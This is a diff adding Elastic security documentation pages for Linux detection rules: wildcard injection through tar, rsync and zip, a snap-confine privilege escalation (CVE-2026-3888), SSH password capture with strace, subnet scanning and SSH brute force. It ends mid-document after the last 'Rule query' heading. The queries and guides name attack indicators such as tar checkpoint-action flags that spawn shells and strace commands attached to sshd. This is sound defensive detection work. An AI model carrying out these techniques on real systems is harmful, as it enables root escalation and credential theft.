+*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Shell via Wildcard Injection Detected* + + +Wildcard injection exploits vulnerabilities in Linux command-line utilities by manipulating wildcard characters to execute unauthorized commands. Adversaries leverage this to escalate privileges or execute arbitrary code. The detection rule identifies suspicious use of vulnerable binaries like `tar`, `rsync`, and `zip` followed by shell execution, indicating potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the specific command executed, focusing on the process name and arguments, especially those involving `tar`, `rsync`, or `zip` with suspicious flags like `--checkpoint=*`, `-e*`, or `--unzip-command`. +- Examine the parent process information to determine if a shell process (e.g., `bash`, `sh`, `zsh`) was spawned, indicating potential exploitation. +- Check the process execution path to ensure it does not match the exclusion pattern `/tmp/newroot/*`, which might indicate a benign operation. +- Investigate the host's recent activity logs to identify any other suspicious or related events that might indicate a broader attack or compromise. +- Correlate the alert with any other security events or alerts from the same host to assess if this is part of a larger attack pattern or campaign. +- Assess the user account associated with the process execution to determine if it has the necessary privileges and if the activity aligns with expected behavior for that account. + + +*False positive analysis* + + +- Legitimate use of tar, rsync, or zip with wildcard-related flags in automated scripts or backup processes can trigger false positives. Review the context of these processes and consider excluding specific scripts or directories from monitoring if they are verified as safe. +- System administrators or maintenance scripts may use shell commands following tar, rsync, or zip for legitimate purposes. Identify these routine operations and create exceptions for known safe parent processes or specific command patterns. +- Development environments or testing scenarios might involve intentional use of wildcard characters for testing purposes. Exclude these environments from the rule or adjust the rule to ignore specific user accounts or process paths associated with development activities. +- Scheduled tasks or cron jobs that involve the use of these binaries with wildcard flags can be mistaken for malicious activity. Verify the legitimacy of these tasks and exclude them based on their schedule or specific command line arguments. +- Security tools or monitoring solutions that simulate attacks for testing or validation purposes might trigger this rule. Ensure these tools are recognized and excluded from monitoring to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified in the alert, particularly those involving the execution of shell commands following the use of `tar`, `rsync`, or `zip`. +- Conduct a thorough review of the affected system's logs to identify any additional indicators of compromise or unauthorized access attempts. +- Restore the affected system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Implement file integrity monitoring on critical systems to detect unauthorized changes to system binaries or configuration files. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and ( + (process.name == "tar" and process.args : "--checkpoint=*" and process.args : "--checkpoint-action=*") or + (process.name == "rsync" and process.args : "-e*") or + (process.name == "zip" and process.args == "--unzip-command") + ) and not ( + process.executable like "/tmp/newroot/*" or + process.working_directory like ("/home/*/.steam/*", "/home/*/steam/*", "/home/*/.local/share/Steam") + ) + ] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name : ("tar", "rsync", "zip") and + process.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-snap-confine-privilege-escalation-via-cve-2026-3888.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-snap-confine-privilege-escalation-via-cve-2026-3888.asciidoc new file mode 100644 index 0000000000..a6ae160bed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-snap-confine-privilege-escalation-via-cve-2026-3888.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-potential-snap-confine-privilege-escalation-via-cve-2026-3888]] +=== Potential snap-confine Privilege Escalation via CVE-2026-3888 + +This rule detects non-root file creation within "/tmp/.snap" or its host backing path "/tmp/snap-private-tmp/*/tmp/.snap", which may indicate exploitation attempts related to CVE-2026-3888. In vulnerable Ubuntu systems, the snap-confine utility normally creates the "/tmp/.snap" directory as root when initializing a snap sandbox. The vulnerability arises when systemd-tmpfiles deletes this directory after it becomes stale, allowing an unprivileged user to recreate it and populate attacker-controlled files. During subsequent snap sandbox initialization, snap-confine may bind-mount or trust these attacker-controlled paths, enabling manipulation of libraries or configuration files that can lead to local privilege escalation to root. Because legitimate creation of ".snap" directories should only be performed by root, non-root file activity in these locations is highly suspicious. This detection helps identify early stages of the exploit before privilege escalation is completed. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.qualys.com/vulnerabilities-threat-research/2026/03/17/cve-2026-3888-important-snap-flaw-enables-local-privilege-escalation-to-root +* https://cdn2.qualys.com/advisory/2026/03/17/snap-confine-systemd-tmpfiles.txt + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential snap-confine Privilege Escalation via CVE-2026-3888* + + +This rule flags non-root creation of files under temporary snap sandbox directories that snap-confine should prepare as root, which can expose an attempt to abuse CVE-2026-3888 for local root access. A common pattern is an unprivileged user waiting for stale `/tmp/.snap` content to be removed, recreating that path, and dropping crafted libraries or configuration so the next snap launch pulls attacker-controlled files into the sandbox setup and elevates privileges. + + +*Possible investigation steps* + + +- Review the originating user's recent terminal, SSH, sudo, and scheduled-task activity to determine whether the file creation was part of legitimate administration or an unexpected local execution chain. +- Inspect the affected `.snap` directory contents for crafted symlinks, shared libraries, configuration files, or path redirection artifacts that could be consumed during snap sandbox initialization. +- Correlate the activity with nearby launches of `snap`, `snap-confine`, `snapd`, or installed snap applications and determine whether any such execution was followed by a new root-level process tree. +- Look for evidence that `systemd-tmpfiles` or another cleanup mechanism removed the stale directory shortly before it was recreated by the unprivileged account, as this timing strongly supports CVE-2026-3888 exploitation behavior. +- Examine post-alert host activity for signs of successful escalation such as unexpected root-owned file changes, new setuid binaries, persistence creation, credential access, or security control tampering. + + +*False positive analysis* + + +- A user troubleshooting a failing snap application may manually create or modify files under `/tmp/.snap` or `/tmp/snap-private-tmp/*/tmp/.snap`; verify by reviewing the parent shell/process lineage and nearby `snap` or `snap-confine` executions to confirm it was interactive testing with no follow-on root activity. +- Telemetry can occasionally attribute file creation to the invoking non-root user during normal snap sandbox initialization even though the privileged helper completes the action; verify by checking whether related `snap` or `snap-confine` events occurred at the same time and whether the final directory and files are owned by root. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network, stop any active `snap`, `snap-confine`, or suspicious root shell processes tied to the originating user, and preserve the contents of `/tmp/.snap` or `/tmp/snap-private-tmp/*/tmp/.snap` for evidence. +- Remove attacker-controlled files, symlinks, shared libraries, and configuration placed in the recreated `.snap` paths, then delete any persistence added after the event such as unauthorized `systemd` units, `/etc/cron*` entries, `~/.ssh/authorized_keys` changes, sudoers modifications, new local accounts, or unexpected setuid-root binaries. +- Escalate immediately to incident response and treat the host as fully compromised if you confirm a root-owned process tree descending from the unprivileged user, root-level file changes outside the temporary snap path, or tampering with `/etc/ld.so.preload`, PAM modules, or endpoint security agents. +- Restore the host to a known-good state by rebuilding or reimaging it when privilege escalation cannot be conclusively ruled out, or otherwise replace modified system files from trusted packages, rotate credentials exposed on the system, and verify correct root ownership and permissions on snap temporary directories before reconnecting it. +- Harden the environment by applying the vendor fix for CVE-2026-3888, updating `snapd` and related Ubuntu packages, restricting unnecessary local shell access, and increasing monitoring for non-root creation of files under `/tmp/.snap` and `/tmp/snap-private-tmp/*/tmp/.snap`. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and +file.path like ("/tmp/.snap*", "/tmp/snap-private-tmp/*/tmp/.snap*") and +user.id != "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-ssh-password-grabbing-via-strace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-ssh-password-grabbing-via-strace.asciidoc new file mode 100644 index 0000000000..8f5733f6d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-ssh-password-grabbing-via-strace.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-20-potential-ssh-password-grabbing-via-strace]] +=== Potential SSH Password Grabbing via strace + +Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/braindead-sec/ssh-grabber +* https://dfir.ch/posts/strace/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential SSH Password Grabbing via strace* + + +This detection flags a suspicious sequence where an sshd process stops and a strace process starts seconds later, indicating attempted snooping of SSH authentication. Capturing syscall activity around login exposes passwords and session secrets, enabling credential theft and lateral movement. Attackers kill sshd, then relaunch or attach with strace, logging read/write and open calls from PAM or keyboard-interactive flows to a file such as /tmp/sshd.trace. + + +*Possible investigation steps* + + +- Pull the strace command-line, full path, parent chain, invoking user, and working directory to confirm whether it attached to sshd and whether output was directed to a file. +- Correlate systemd/journald and audit logs around the same seconds for sshd stop/start, kill signals, coredumps, or admin actions to distinguish debugging from credential capture. +- Identify and preserve any strace output or redirected logs (common in /tmp or home directories) and scan for PAM interactions or TTY reads containing password prompts. +- Check ptrace feasibility by verifying UID relationships, CAP_SYS_PTRACE, SELinux/AppArmor policies, and ptrace_scope to assess whether sshd could be traced. +- Pivot on the same user and host for adjacent activity such as restarting sshd, running ltrace/gdb/perf, modifying PAM or sshd_config, and creating trace files to gauge intent. + + +*False positive analysis* + + +- An administrator intentionally stops sshd and immediately launches strace to troubleshoot a configuration change or startup problem, tracing a controlled test run rather than attempting to capture credentials. +- A normal sshd session process ends while strace is started to debug an unrelated application, producing a near-simultaneous end/start sequence even though strace is not attached to sshd or capturing authentication input. + + +*Response and remediation* + + +- Immediately kill active strace processes targeting sshd (e.g., strace -p PID or strace -f /usr/sbin/sshd with -o /tmp/sshd.trace), isolate the host from the network, and restart the sshd service to restore a clean state. +- Preserve forensic copies, then remove artifacts such as trace outputs like /tmp/sshd.trace or ~/sshd.strace.log, purge unauthorized strace wrappers or cron entries, and revert changes in /etc/ssh/sshd_config and /etc/pam.d/*. +- Force credential hygiene by expiring passwords for users who logged in during the suspected window, rotating SSH host keys in /etc/ssh/ (ssh_host_*), revoking recently added ~/.ssh/authorized_keys entries, and terminating lingering sshd child sessions and SSH agents in /tmp or /run. +- Escalate to incident response if strace was executed as root or via sudo against /usr/sbin/sshd, if CAP_SYS_PTRACE or ptrace_scope=0 was present, if trace files contain password strings or PAM conversation data, or if similar behavior appears on more than one host. +- Harden by setting /proc/sys/kernel/yama/ptrace_scope to 1 or 2, enforcing SELinux/AppArmor policies that block ptrace to sshd, disabling PasswordAuthentication or requiring MFA in /etc/ssh/sshd_config, and adding auditd rules to alert on ptrace attaches to /usr/sbin/sshd. + + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=3s + [process where host.os.type == "linux" and event.type == "end" and process.name == "sshd"] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "strace"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Input Capture +** ID: T1056 +** Reference URL: https://attack.mitre.org/techniques/T1056/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-subnet-scanning-activity-from-compromised-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-subnet-scanning-activity-from-compromised-host.asciidoc new file mode 100644 index 0000000000..c921ef3073 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-subnet-scanning-activity-from-compromised-host.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-20-potential-subnet-scanning-activity-from-compromised-host]] +=== Potential Subnet Scanning Activity from Compromised Host + +This rule detects potential subnet scanning activity from a compromised host. Subnet scanning is a common reconnaissance technique used by attackers to identify live hosts within a network range. A compromised host may exhibit subnet scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable hosts, or prepare for further exploitation. This rule identifies potential subnet scanning activity by monitoring network connection attempts from a single host to a large number of hosts within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Subnet Scanning Activity from Compromised Host* + + +Subnet scanning is a reconnaissance method used by attackers to map network topology and identify active hosts. Adversaries exploit compromised hosts to perform these scans, seeking vulnerabilities for further attacks. The detection rule identifies such activity by monitoring Linux hosts for numerous connection attempts to different IPs within a short period, indicating potential scanning behavior. This helps in early detection and mitigation of network threats. + + +*Possible investigation steps* + + +- Review the process executable identified in the alert to determine if it is a known or legitimate application that should be making network connections. +- Examine the destination IP addresses to identify any patterns or known malicious IPs, and check if these IPs are part of the organization's network or external. +- Investigate the specific host (using the agent.id) to assess if there are any signs of compromise, such as unusual processes or unauthorized access. +- Correlate the event timestamp with other logs or alerts to identify any concurrent suspicious activities or anomalies on the host. +- Check for any recent changes or updates on the host that might explain the scanning behavior, such as new software installations or configuration changes. + + +*False positive analysis* + + +- High-volume legitimate network monitoring tools may trigger the rule. Identify and exclude these tools by adding their process executables to an exception list. +- Automated backup systems that connect to multiple hosts within a short timeframe can be mistaken for scanning activity. Review and exclude these systems by their process executable or agent ID. +- Security software performing routine network health checks might generate false positives. Verify these activities and create exceptions based on the specific process executable involved. +- Internal IT scripts or administrative tasks that involve connecting to numerous hosts for maintenance purposes can trigger alerts. Document these tasks and exclude them by process executable or agent ID. +- Cloud-based services or applications that require frequent connections to various hosts for functionality may appear as scanning. Identify these services and exclude them by their process executable or agent ID. + + +*Response and remediation* + + +- Isolate the compromised host immediately from the network to prevent further scanning and potential lateral movement by the attacker. +- Terminate any suspicious processes identified by the executable name in the alert to stop ongoing scanning activities. +- Conduct a thorough examination of the compromised host to identify and remove any malware or unauthorized access tools that may have been installed. +- Reset credentials and review access permissions for the compromised host to ensure no unauthorized access persists. +- Update and patch the compromised host and any other vulnerable systems identified during the investigation to close security gaps. +- Monitor network traffic closely for any signs of continued scanning or other suspicious activities from other hosts, indicating potential further compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine if additional hosts are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.network-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "connection_attempted" and + not ( + process.executable in ("/usr/local/bin/prometheus", "/app/extra/chrome", "/usr/lib/virtualbox/VBoxHeadless", "/usr/bin/prometheus") or + process.executable like "/usr/local/prometheus/*/prometheus" or + process.executable like "/usr/share/elastic-agent/*" or + process.executable like "/var/lib/docker/overlay*connectord" or + process.executable like "/opt/rumble/bin/rumble-agent*" or + process.executable like "/opt/gitlab/*" or + process.executable like "/opt/google/chrome/chrome*" or + process.executable like "/snap/firefox/*/firefox" or + process.executable like "/var/lib/docker/overlay2/*/qbittorrent-nox" + ) +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.executable, + destination.ip, + agent.id, + host.name, + event.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.destination_ip_count_distinct = count_distinct(destination.ip), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by process.executable + +| where + Esql.agent_id_count_distinct == 1 and + Esql.destination_ip_count_distinct > 250 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-successful-ssh-brute-force-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-successful-ssh-brute-force-attack.asciidoc new file mode 100644 index 0000000000..69ed5c6f2f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-successful-ssh-brute-force-attack.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-potential-successful-ssh-brute-force-attack]] +=== Potential Successful SSH Brute Force Attack + +Identifies multiple SSH login failures followed by a successful one from the same source address. Adversaries can attempt to login into multiple users with a common or known password to gain access to accounts. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* filebeat-* +* logs-system.auth-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Successful SSH Brute Force Attack* + + +The rule identifies consecutive SSH login failures followed by a successful login from the same source IP address to the same target host indicating a successful attempt of brute force password guessing. + + +*Possible investigation steps* + + +- Investigate the login failure user name(s). +- Investigate the source IP address of the failed ssh login attempt(s). +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the source and the target computer and their roles in the IT environment. + + +*False positive analysis* + + +- Authentication misconfiguration or obsolete credentials. +- Service account password expired. +- Infrastructure or availability issue. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Ensure active session(s) on the host(s) are terminated as the attacker could have gained initial access to the system(s). +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Auditbeat +- Filebeat + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + 